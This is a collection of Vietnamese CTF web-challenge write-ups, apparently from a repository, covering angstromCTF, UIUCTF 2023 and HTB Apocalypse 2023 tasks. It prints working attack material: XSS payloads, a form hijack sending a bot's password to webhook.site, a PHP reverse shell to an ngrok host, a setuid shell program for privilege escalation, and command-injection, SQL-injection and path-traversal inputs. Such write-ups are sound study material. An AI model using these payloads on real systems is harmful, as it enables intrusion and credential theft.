23 | actf{cl1ent_s1de_sucks_544e67e6317199e454f4d2bdb04d9e419ccc7f12024523398ee02fe7517fffa92517e08250c4aaa9ed206fd7c9e398e2}
24 | ```
25 |
26 | ## [40] directory
27 | Flag nằm ở một trong số cái file đó, bruteforce đến file 3054 sẽ thấy flag
28 |
29 | https://directory.web.actf.co/3054.html
30 | ```
31 | actf{y0u_f0und_me_b51d0cde76739fa3}
32 | ```
33 |
34 | ## [40] Celeste Tunneling Association
35 | Theo code ta chỉ cần đưa giá trị `flag.local` vào header Host là sẽ có flag
36 |
37 | ```
38 | actf{reaching_the_core__chapter_8}
39 | ```
40 |
41 | ## [80] hallmark
42 | Goal là XSS để lấy flag từ cookie của con bot, nhưng cách thông thường thì ta sẽ không thể lấy được content type `image/svg+xml` nhằm đưa một file svg chứa javascript vào
43 |
44 | Tuy nhiên tại route PUT, ta có thể update card, với logic xử lý bên dưới ta có thể update để card trả về `image/svg+xml` bằng lỗi type confusion
45 | ```
46 | cards[id].type = type == "image/svg+xml" ? type : "text/plain";
47 | cards[id].content = type === "image/svg+xml" ? IMAGES[svg || "heart"] : content;
48 | ```
49 | Request:
50 | ```http
51 | PUT /card HTTP/1.1
52 | Host: hallmark.web.actf.co
53 | Content-Length: 1202
54 | Cache-Control: max-age=0
55 | Sec-Ch-Ua: "Not:A-Brand";v="99", "Chromium";v="112"
56 | Sec-Ch-Ua-Mobile: ?0
57 | Sec-Ch-Ua-Platform: "Windows"
58 | Upgrade-Insecure-Requests: 1
59 | Origin: https://hallmark.web.actf.co
60 | Content-Type: application/x-www-form-urlencoded
61 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
62 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
63 | Sec-Fetch-Site: same-origin
64 | Sec-Fetch-Mode: navigate
65 | Sec-Fetch-User: ?1
66 | Sec-Fetch-Dest: document
67 | Referer: https://hallmark.web.actf.co/
68 | Accept-Encoding: gzip, deflate
69 | Accept-Language: en-US,en;q=0.9
70 | Connection: close
71 |
72 | svg=text&content=%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%20%73%74%61%6e%64%61%6c%6f%6e%65%3d%22%6e%6f%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%73%76%67%20%50%55%42%4c%49%43%20%22%2d%2f%2f%57%33%43%2f%2f%44%54%44%20%53%56%47%20%31%2e%31%2f%2f%45%4e%22%20%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%47%72%61%70%68%69%63%73%2f%53%56%47%2f%31%2e%31%2f%44%54%44%2f%73%76%67%31%31%2e%64%74%64%22%3e%0a%0a%3c%73%76%67%20%76%65%72%73%69%6f%6e%3d%22%31%2e%31%22%20%62%61%73%65%50%72%6f%66%69%6c%65%3d%22%66%75%6c%6c%22%20%78%6d%6c%6e%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%30%2f%73%76%67%22%3e%0a%20%20%3c%70%6f%6c%79%67%6f%6e%20%69%64%3d%22%74%72%69%61%6e%67%6c%65%22%20%70%6f%69%6e%74%73%3d%22%30%2c%30%20%30%2c%35%30%20%35%30%2c%30%22%20%66%69%6c%6c%3d%22%23%30%30%39%39%30%30%22%20%73%74%72%6f%6b%65%3d%22%23%30%30%34%34%30%30%22%2f%3e%0a%20%20%3c%73%63%72%69%70%74%20%74%79%70%65%3d%22%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%22%3e%0a%20%20%20%20%61%6c%65%72%74%28%22%58%53%53%20%62%79%20%42%48%41%52%41%54%22%29%3b%0a%20%20%3c%2f%73%63%72%69%70%74%3e%0a%3c%2f%73%76%67%3e&id=2c05d443-a964-44b6-8d9f-6b91bbfdb41b&type[]=image/svg%2bxml
73 | ```
74 | Ta sẽ craft được một link thực thi được JS, gửi link này đến bot và lấy flag
75 | https://hallmark.web.actf.co/card?id=2c05d443-a964-44b6-8d9f-6b91bbfdb41b
76 |
77 | ## [110] brokenlogin
78 | Ứng dụng chạy flask, nhìn vào đoạn sau ta có thể thấy lỗi SSTI
79 | ```
80 | render_template_string(indexPage % custom_message, fails=fails)
81 | ```
82 | `custom_message` là data lấy từ `request.args["message"]`, được đưa trực tiếp vào `render_template_string`, nhưng vấn đề flag không nằm ở đây là flag nằm ở password của con bot, nên có vẻ đây vẫn là challenge client side
83 |
84 | Mặc định thì template engine sẽ escape html của tất cả output, ta không thể chèn tag html gì, nhưng vì ta có thể dùng template markup, jinja (flask mặc định sài jinja) có một keyword là safe để đánh dấu là output này safe và không cần escape, ta có thể dùng keyword này để chèn HTML vào và từ đó lead tới XSS
85 |
86 | Nhưng để ý nếu payload dài quá 25 ký tự nó sẽ không nối input vào `render_template_string` nữa nên ta sẽ dùng 1 trick nhỏ
87 |
88 | `{{request.args.a|safe}}`
89 |
90 | ```
91 | https://brokenlogin.web.actf.co/?message={{request.args.a|safe}}&a=%3Cscript%3Ealert(%27a%27)%3C/script%3E
92 | ```
93 | Ta sẽ lấy input từ một parameter khác là `a` thì ta sẽ bypass qua được length restriction
94 |
95 | Tiếp theo ta sẽ dùng JS để thay đổi `action` của form để khi con bot submit thì nó sẽ gửi đến url của ta
96 | ```
97 | https://brokenlogin.web.actf.co/?message={{request.args.a|safe}}&a=%3Cscript%3Edocument.body.onload%20=%20()%20=%3E%20document.getElementsByTagName(%27form%27)[0].action%20=%20%22https://webhook.site/68a40976-d351-4dde-a022-b23547e4cc1c%22%3C/script%3E
98 | ```
99 | webhook:
100 | ```
101 | username=admin&password=actf%7Badm1n_st1ll_c4nt_l0g1n_11dbb6af58965de9%7D
102 | ```
103 |
104 | ## [180] filestore
105 | Cái upload file thật ra để đánh lạc hướng đó ae, bài này gồm 2 giai đoạn, giai đoạn from LFI to RCE và leo quyền để đọc flag.
106 |
107 | Về LFI to RCE, đọc source ta sẽ thấy nếu có param `f` thì nó sẽ `include "./uploads/" . $_GET["f"];` => Path traversal, nhưng vấn đề là include cái gì đây, đọc file thì ok nhưng mà cũng không thể đọc flag, cái flag đã bị set permission để chỉ cho admin đọc, mình là user `ctf` không đọc được. Ta sẽ đến với PEAR, PEAR (PHP Extension and Application Repository) là một framework của PHP, liên tưởng nó giống như NPM bên NodeJS, nó hỗ trợ coder tái sử dụng các class có sẵn của PHP (xử lý cache, DB, ...) để tiết kiệm thời gian khi dev. Bản thân nó là một CLI program, nhưng nếu PHP config set `register_argc_argv` thì pear sẽ có thể nhận các REQUEST paramater thay cho CLI argument, và PEAR thì gần như luôn tích hợp sẵn trong PHP
108 |
109 | http://man.he.net/man1/pecl
110 |
111 | Như ta thấy với option `config-create`, ta có thể tạo ra một config file, với việc có thể truyền tham số cho program thông qua các parameter, ta có thể write được một con Shell lên server và từ đó RCE
112 | ```
113 | config-create Create a Default configuration file
114 | ```
115 | Với điều kiện ta tìm được 1 thư mục mà ta có quyền write, cùng với đó là config `register_argc_argv` được set là true. Với PHP docker image thì config `register_argc_argv` luôn được set, và theo như file docker thì permission của folder `www` bị đổi, ta không có quyền write vào nó, ta sẽ dùng thư mục `tmp`, write shell vào đây rồi dùng path traversal include file PHP đó
116 | 
117 |
118 | 
119 |
120 | Giờ dùng PHP để lấy reverse shell
121 | ```http
122 | GET /?f=../../../../tmp/shin24.php&c=php+-r+'$sock=fsockopen("0.tcp.ap.ngrok.io",10968);$proc=proc_open("/bin/sh+-i",+array(0=>$sock,+1=>$sock,+2=>$sock),$pipes);' HTTP/1.1
123 | Host: filestore.web.actf.co
124 | Cache-Control: max-age=0
125 | Sec-Ch-Ua: "Not:A-Brand";v="99", "Chromium";v="112"
126 | Sec-Ch-Ua-Mobile: ?0
127 | Sec-Ch-Ua-Platform: "Windows"
128 | Upgrade-Insecure-Requests: 1
129 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
130 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
131 | Sec-Fetch-Site: none
132 | Sec-Fetch-Mode: navigate
133 | Sec-Fetch-User: ?1
134 | Sec-Fetch-Dest: document
135 | Accept-Encoding: gzip, deflate
136 | Accept-Language: en-US,en;q=0.9
137 | Connection: close
138 |
139 |
140 | ```
141 |
142 | Giờ ta cat flag thôi nhở
143 |
144 | 
145 |
146 | Làm gì dễ thế =))), đây là state 2, ta sẽ phải priv esc để đọc được flag, check owner thấy flag.txt là của admin, vậy ta phải nâng quyền mình lên admin, trong các file mà ta được đưa có 2 file SUID binary, lúc đầu thì mình cũng khá confuse, để đỡ dài dòng thì mình sẽ nói luôn là ta cần chú ý vào file `list_uploads`, đưa vào IDA và f5 lên ta sẽ thấy nó đang gọi đến binary `ls`
147 | 
148 |
149 | Nhưng mà lưu ý là ở đây nó gọi đến ls, chứ không phải `/bin/ls`, vậy thì ta có thể dùng PATH injection, tạo một file tên `ls` ở một folder nào đó (`tmp` đi) rồi chạy lại SUID kia, file `ls` sẽ là một file để spawn shell. Nội dung file `ls` của mình (thật ra là của @Robbert1978 viết, pao thủ thế giới)
150 | ```c
151 | #define _GNU_SOURCE
152 | #include
153 | #include
154 | #include
155 | #include
156 | #include
157 | #include
158 | #include
159 | #include
160 | #include
161 | #include
162 | #include
163 | #include
164 | #include
165 | #include
166 | #define log_info(...) { \
167 | printf("[*] "); \
168 | printf(__VA_ARGS__); \
169 | putchar(10); \
170 | };
171 |
172 | int main(){
173 | setuid(999);
174 | if(getuid()!=999){
175 | puts("chiu");
176 | exit(-1);
177 | }
178 | execve("/bin/sh",NULL,NULL);
179 | }
180 | ```
181 |
182 | Ở đây `999` là EUID của user admin
183 |
184 | Đưa file này lên server và compile (hoặc compile rồi đưa lên server, nhớ là zip lại để không bị mất execute permission) rồi chạy file `list_uploads` ta sẽ spawn được shell với quyền admin, giờ thì cat flag thôi
185 |
--------------------------------------------------------------------------------
/uiuctf-2023/web.md:
--------------------------------------------------------------------------------
1 | ## Peanut XSS
2 | Như cái tên và description, ta cần tìm cách khai thác được XSS và lấy được cookie của user
3 |
4 | Bài này dựa vào những dòng inline script đầu tiên ta nhận thấy input duy nhất được đưa vào hàm `DOMPurify.sanitize`, việc đầu tiên nghĩ đến sẽ là tìm cách bypass DOMPurify, tuy nhiên DOMPurify sử dụng cơ chế không dễ ăn tí nào, bằng cách dựa vào chính DOM tree để loại bỏ các tag và attribute không mong muốn.
5 |
6 | Nhìn vào quá khứ đã từng có một số lỗ hổng như MXSS khiến cho việc bypass DOMPurify trở nên khả thi, vậy ta sẽ tìm version hiện tại của nó trước. Bằng cách vào chrome devtool ta thấy được version là 2.3.6, có vẻ không có cve đã biết nào, nhưng version cũng không phải latest, không lẽ là 0day?
7 |
8 | 
9 |
10 | Nhìn qua sẽ không thấy lib DOMPurify được load vào ở giao diện chính, điều tra vào thư viện Nutshell sẽ thấy minified DOMPurify script được kèm ở trong thư viện này luôn, khả năng ta sẽ dựa vào thư viện này để bypass qua DOMPurify
11 |
12 | Sau một thời gian audit mình thấy dòng
13 | ```javascript
14 | linkText.innerHTML = ex.innerText.slice(ex.innerText.indexOf(':')+1);
15 | ```
16 | `linktext` lát sau được đưa vào DOM tree ở dòng
17 | ```javascript
18 | ex.appendChild(linkText);
19 | ```
20 |
21 | Context của đoạn code này là thư viện Nutshell sẽ tìm tất cả các tag `a`, check xem nếu trong innerText có vị trí đầu tiên là `:` thì nó sẽ trở thành một `expandable`, đại khái là khi click vô cái tag `a` đó thì nó sẽ drop down xuống một cái bong bóng chứa nội dung abc gì đó
22 |
23 | ### innerText and innerHTML
24 |
25 | Nhắc lại cách hoạt động của DOMPurify, dựa vào DOM tree để loại các node và attribute không mong muốn, đối với một cặp thẻ `` thì có thể gọi là node p, với một dòng text đơn thuần thì sẽ được gọi là text node, khác biệt ở đâu?
26 |
27 | Ví dụ ta có data `
`, nếu gọi đến innerHTML của thẻ `a` thì data thu được sẽ là `
aaaa
`, nếu gọi đến innerText thì kết quả thu được là `aaaa`
28 |
29 | Nhìn lại đoạn code gán `linkText.innerHTML` phía trên, ta có thể thấy rằng nếu ta có thể chèn các tag html như tag script vào innerText thì lát nữa khi được gán cho innerHTMl của linkText và insert vào DOM tree thì ta sẽ bypass qua được DOMPurify.
30 |
31 | Vấn đề là nếu ta dùng một payload dạng `` thì script vẫn bị nhận là 1 thẻ html và lát nữa vào DOMPurify sẽ bị lọc, vậy làm sao để đoạn payload của ta được xem là 1 text node? Ta sẽ encode nó thành html entity, lát nữa khi đi qua innerText nó sẽ decode các html entity về lại plain text
32 |
33 | ```u!
34 | https://peanut-xss-web.chal.uiuc.tf/?nutshell=%3Ca+href=%27x%27%3E:a%3Ch1%3E%26%2360%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2362%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2341%26%2360%26%2347%26%23115%26%2399%26%23114%26%23105%26%23112%26%23116%26%2362%3C/h1%3E%3C/a%3E
35 | ```
36 |
37 | Phải url encode vì html entity có chứa ký tự `&`, sẽ bị nhầm thành url parameter delimiter
38 |
39 | Tuy nhiên nó vẫn không chạy, dù f12 đã thấy có thẻ script được chèn vào DOM, vấn đề ở đâu nhỉ?
40 | 
41 |
42 | Đó là vì sau khi DOM được load lần đầu tiên, mọi hành động insert vào sau này sẽ không làm reload lại DOM, dẫn đến content bên trong thẻ script sẽ không chạy. Vậy thì cứ dùng payload img onerror kinh điển thôi :v
43 |
44 | ```a!
45 | https://peanut-xss-web.chal.uiuc.tf/?nutshell=%3Ca+href=%27x%27%3E:a%3Ch1%3E%26%2360%26%23105%26%23109%26%23103%26%2332%26%23115%26%23114%26%2399%26%2361%26%23120%26%2332%26%23111%26%23110%26%23101%26%23114%26%23114%26%23111%26%23114%26%2361%26%2397%26%23108%26%23101%26%23114%26%23116%26%2340%26%2334%26%2349%26%2334%26%2341%26%2332%26%2347%26%2362%3C/h1%3E%3C/a%3E
46 | ```
47 |
48 | 
49 |
50 | XSS được rồi thì đoạn viết script lấy cookie sẽ đơn giản thôi
51 |
52 | ## Adminplz
53 | Bài này là một bài java, sử dụng framework spring, flag nằm ở file flag.html trong thư mục root.
54 |
55 | 
56 |
57 | Nhìn vào code ta sẽ thấy tại route `/admin`, input của ta lấy từ param `view` sẽ được đưa vào hàm getResource, mục đích của hàm này là tìm và trả về một file và định dạng input có thể truyền vào cũng khá đa dạng, mình sẽ tóm tắt như sau:
58 | - Nếu input có `classpath:` đằng trước thì spring sẽ tìm file này trong các classpath
59 | - Nếu input có `http://` hoặc `https://` đằng trước thì sẽ gửi HTTP request tới resource để fetch nội dung về
60 | - Nếu input có prefix là `file://` thì sẽ fetch file từ file system
61 |
62 | Vậy đây có thể xem như một lỗ hổng SSRF, ta có thể đọc mọi file trên server và làm cho nó hiện thị, nhưng vấn đề là chỉ có admin đọc được nội dung này, và file flag cũng chỉ admin đọc được. Vậy ta có thể liên kết 2 việc này lại và đoán rằng có vẻ đây lại là 1 bài client side khác, tuy nhiên CSP lại rất strict và có lẽ ta sẽ không thể bypass qua được
63 |
64 | Để ý một chi tiết đó là mọi truy cập authenticated nếu request đến với `view` chứa từ `flag` đều được ghi log lại, và log nằm ở `/var/log/adminplz/latest.log`, ta thấy định dạng được ghi vào gồm có username và sessionid (cookie) của user đó. Kết hợp với dữ kiện username mà ta nhập vào không được sanitize mà ghi thẳng vào log, ta sẽ có gì?
65 |
66 | Ta có thể lợi dụng thẻ meta redirect (bypass qua CSP), kết hợp với dangling markup để điều hướng admin đến burp collaborator (hoặc 1 server nào đó mà ta control) để lấy cookie và login vào để đọc flag
67 |
68 | Flow sẽ như sau:
69 | - Gửi request với username là `` cho admin truy cập để ghi cookie của admin vào log và đóng double quote của dangling markup lại
71 | - Cuối cùng là gửi cho admin endpoint`/admin?view=file:///var/log/adminplz/latest.log` để admin đọc file này và redirect đến server của ta
72 |
73 | File log sau state 2 sẽ trông thế này
74 |
75 | ```
76 | WARN d.arxenix.adminplz.AdminApplication - user ] cannot be resolved to URL because it does not exist
80 | at org.springframework.web.context.support.ServletContextResource.getURL(ServletContextResource.java:179)
81 | at org.springframework.core.io.AbstractFileResolvingResource.contentLength(AbstractFileResolvingResource.java:244)
82 | at org.springframework.http.converter.ResourceHttpMessageConverter.getContentLength(ResourceHttpMessageConverter.java:122)
83 | at org.springframework.http.converter.ResourceHttpMessageConverter.getContentLength(ResourceHttpMessageConverter.java:46)
84 | at org.springframework.http.converter.AbstractHttpMessageConverter.addDefaultHeaders(AbstractHttpMessageConverter.java:258)
85 | at org.springframework.http.converter.AbstractHttpMessageConverter.write(AbstractHttpMessageConverter.java:210)
86 | at org.springframework.web.servlet.mvc.method.annotation.AbstractMessageConverterMethodProcessor.writeWithMessageConverters(AbstractMessageConverterMethodProcessor.java:300)
87 | at org.springframework.web.servlet.mvc.method.annotation.RequestResponseBodyMethodProcessor.handleReturnValue(RequestResponseBodyMethodProcessor.java:194)
88 | at org.springframework.web.method.support.HandlerMethodReturnValueHandlerComposite.handleReturnValue(HandlerMethodReturnValueHandlerComposite.java:78)
89 | at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:136)
90 | at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:884)
91 | at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:797)
92 | at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87)
93 | at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1081)
94 | at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:974)
95 | at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1011)
96 | at org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:903)
97 | at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:564)
98 | at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:885)
99 | at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:658)
100 | at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:205)
101 | at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:149)
102 | at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:51)
103 | at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:174)
104 | at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:149)
105 | at dev.arxenix.adminplz.CSP.doFilter(CSP.java:16)
106 | at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:174)
107 | at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:149)
108 | at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100)
109 | at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
110 | at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:174)
111 | at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:149)
112 | at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93)
113 | at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
114 | at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:174)
115 | at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:149)
116 | at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201)
117 | at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)
118 | at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:174)
119 | at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:149)
120 | at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:166)
121 | at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:90)
122 | at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:482)
123 | at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:115)
124 | at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:93)
125 | at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74)
126 | at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:341)
127 | at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:390)
128 | at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63)
129 | at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:894)
130 | at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1741)
131 | at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52)
132 | at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191)
133 | at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659)
134 | at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
135 | at java.base/java.lang.Thread.run(Thread.java:833)
136 | ```
137 |
138 | 
139 |
140 | Admin cookie:
141 | 
142 |
143 |
144 | Khoảng chờ giữa 2 lần con bot admin truy cập sẽ là 5 phút, vì con bot sau khi access sẽ bắt chờ 5 phút
145 |
146 | 
147 |
148 | Request đến `/admin?view=file:///flag.html` sau khi login để đọc flag
149 |
--------------------------------------------------------------------------------
/HTB-Apocalypse 2023/web.md:
--------------------------------------------------------------------------------
1 | ## Trapped Source
2 | #### Very Easy
3 | View source HTML của trang ta sẽ thấy đoạn JS sau:
4 | ```html
5 |
13 | ```
14 |
15 | có được `correctPin` là 8291, bấm đúng số đó vào cái máy ta được flag, f12 lên copy flag rồi submit
16 |
17 | ## Gunhead
18 | #### Very Easy
19 | Trên web có một chức năng giúp ta chạy các lệnh, một trong các lệnh đó là /ping \, đọc source phía server đầu tiên ta thấy có route đến `/api/ping`
20 | ```php
21 | $router->new('POST', '/api/ping', 'ReconController@ping');
22 | ```
23 | Tiếp tục tìm đến ReconController trong file `ReconController.php` thấy hàm này tiếp tục gọi đến class `ReconModel` và truyền IP lúc nãy vào constructor và gọi method `getOutput` của nó
24 | ```php
25 | $pingResult = new ReconModel($jsonBody['ip']);
26 |
27 | return $router->jsonify(['output' => $pingResult->getOutput()]);
28 | ```
29 | Đi đến `ReconModel` trong file `ReconModel.php`, tại đây ta thấy bên trong constructor là đang gán tham số `$ip` vào thuộc tính `ip` của class, method `getOutput` thực hiện nhiệm vụ chạy lệnh `ping -c 3 `, nhận thấy \ là data mà ta kiểm soát, không có lớp lọc nào => OS Command Injection
30 |
31 | Thêm một dấu `;` để kết thúc lệnh trước, từ đây ta có thể chạy lệnh tùy ý
32 | ```
33 | > /ping a;cat /*.txt
34 | ```
35 | 
36 |
37 | ## Drobot
38 | #### Very Easy
39 | Chức năng đầu tiên đập vào mắt là login, vào file `routes.py` -- nơi chứa các routing của web, sẽ thấy nó đang gọi đến hàm `login` trong `database.py`
40 | ```python
41 | @api.route('/login', methods=['POST'])
42 | def apiLogin():
43 | if not request.is_json:
44 | return response('Invalid JSON!'), 400
45 |
46 | data = request.get_json()
47 | username = data.get('username', '')
48 | password = data.get('password', '')
49 |
50 | if not username or not password:
51 | return response('All fields are required!'), 401
52 |
53 | user = login(username, password) # <===== HERE
54 |
55 | if user:
56 | session['auth'] = user
57 | return response('Success'), 200
58 |
59 | return response('Invalid credentials!'), 403
60 | ```
61 | Vào `database.py`, tại hàm `login`, thấy username và password truyền vào được đưa trực tiếp vào câu query để đưa đến database, không có santinize, không có parameterize => SQL Injection, dựa vào các routes ta biết chỉ cần login vào là có flag
62 |
63 | ```
64 | username: admin" or 1=1-- -
65 | password: a
66 | ```
67 |
68 | Câu query lúc này sẽ thành:
69 | ```
70 | SELECT password FROM users WHERE username = "admin" or 1=1-- -" AND password = "a"
71 | ```
72 |
73 | Dấu `-- ` sẽ biến đoạn sau thành comment. Login vào ta có được flag
74 | ```
75 | HTB{p4r4m3t3r1z4t10n_1s_1mp0rt4nt!!!}
76 | ```
77 |
78 | ## Passman
79 | #### Easy
80 | Bài này dùng graphql để call tới API, xem kỹ tất cả type trong file `GraphqlHelper.js` thì gần như đều kiểm tra xem đã login chưa, tuy nhiên lại không kiểm tra xem user đã login là user gì, cụ thể là ở field `UpdatePassword`, do không kiểm tra user đang đăng nhập và user sắp thay đổi có giống nhau hay không nên ta có thể lợi dụng để update password của bất kì user nào sau khi login => Lỗi IDOR.
81 |
82 | Nhìn vào file `entrypoint.sh` sẽ thấy trong phrases của admin sẽ có flag, ta sẽ lợi dụng bug trên để update password của admin và vào đọc flag
83 |
84 | Đầu tiên là tạo một account rồi login vào, sau đó gửi request Graphql để update password:
85 | ```http!
86 | POST /graphql HTTP/1.1
87 | Host: 159.65.81.51:31318
88 | Content-Length: 183
89 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
90 | Content-Type: application/json
91 | Accept: */*
92 | Origin: http://159.65.81.51:31318
93 | Referer: http://159.65.81.51:31318/register
94 | Accept-Encoding: gzip, deflate
95 | Accept-Language: en-US,en;q=0.9
96 | Connection: close
97 | Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFhIiwiaXNfYWRtaW4iOjAsImlhdCI6MTY3OTU1Nzc4N30.yFyqY8lBZdG_x4cTqdf4EprgTQRQJfduMpp7w4qBdW8
98 |
99 | {"query":"mutation($username: String!, $password: String!) { UpdatePassword(username: $username, password: $password) { message } }","variables":{"username":"admin","password":"123"}}
100 | ```
101 |
102 | response:
103 | ```http
104 | HTTP/1.1 200 OK
105 | X-Powered-By: Express
106 | Content-Type: application/json; charset=utf-8
107 | Content-Length: 72
108 | Date: Thu, 23 Mar 2023 07:50:18 GMT
109 | Connection: close
110 |
111 | {"data":{"UpdatePassword":{"message":"Password updated successfully!"}}}
112 | ```
113 |
114 | Login vào với account `admin:123`
115 |
116 | `HTB{1d0r5_4r3_s1mpl3_4nd_1mp4ctful!!}`
117 |
118 | ## Orbital
119 | #### Easy
120 | Đầu tiên là lỗi SQL Injection tại chức năng login, ta có thể tìm thấy đoạn code xử lý tại file `database.py`
121 | ```python
122 | def login(username, password):
123 | # I don't think it's not possible to bypass login because I'm verifying the password later.
124 | user = query(f'SELECT username, password FROM users WHERE username = "{username}"', one=True)
125 |
126 | if user:
127 | passwordCheck = passwordVerify(user['password'], password)
128 |
129 | if passwordCheck:
130 | token = createJWT(user['username'])
131 | return token
132 | else:
133 | return False
134 | ```
135 |
136 | username được nối trực tiếp vào câu query => giống bài Drobots
137 |
138 | Tuy nhiên lần này password không được nối vào query mà được dùng để so sánh, ta có thể khiến câu select thứ nhất trả về null, rồi dùng cấu trúc UNION để nối kết quả 2 bảng lại với nhau, vì câu trước trả về NULL, câu sau thì do ta inject thêm vào nên ta sẽ kiểm soát được kết quả trả về của cả câu query
139 |
140 | ```
141 | username: anhchangyeuem" UNION SELECT "admin","202cb962ac59075b964b07152d234b70
142 | password: 123
143 | ```
144 | `202cb962ac59075b964b07152d234b70` là md5 của 123 vì lát nữa hàm `passwordVerify` sẽ check bằng cách lấy md5 của input password so với kết quả trả về
145 |
146 | Câu query thành:
147 |
148 | ```sql
149 | SELECT username, password FROM users WHERE username = "anhchangyeuem" UNION SELECT "admin","202cb962ac59075b964b07152d234b70"
150 | ```
151 |
152 | Lúc này thì vì password sẽ trả về là 123, password nhập vào cũng là 123 nên ta sẽ pass qua login
153 |
154 | Đến phần sau ta để ý route `/export`:
155 | ```
156 | def exportFile():
157 | if not request.is_json:
158 | return response('Invalid JSON!'), 400
159 |
160 | data = request.get_json()
161 | communicationName = data.get('name', '')
162 |
163 | try:
164 | # Everyone is saying I should escape specific characters in the filename. I don't know why.
165 | return send_file(f'/communications/{communicationName}', as_attachment=True)
166 | except:
167 | return response('Unable to retrieve the communication'), 400
168 |
169 | ```
170 |
171 | Ở đây send_file được sử dụng để trả một file từ server về, thêm việc `communicationName` là data mà ta kiểm soát nên ta có thể làm nó trả về một file tùy ý => Path traversal
172 |
173 | ```http!
174 | POST /api/export HTTP/1.1
175 | Host: 64.227.41.83:32154
176 | Content-Length: 36
177 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
178 | Content-Type: application/json;charset=UTF-8
179 | Accept: */*
180 | Origin: http://64.227.41.83:32154
181 | Referer: http://64.227.41.83:32154/home
182 | Accept-Encoding: gzip, deflate
183 | Accept-Language: en-US,en;q=0.9
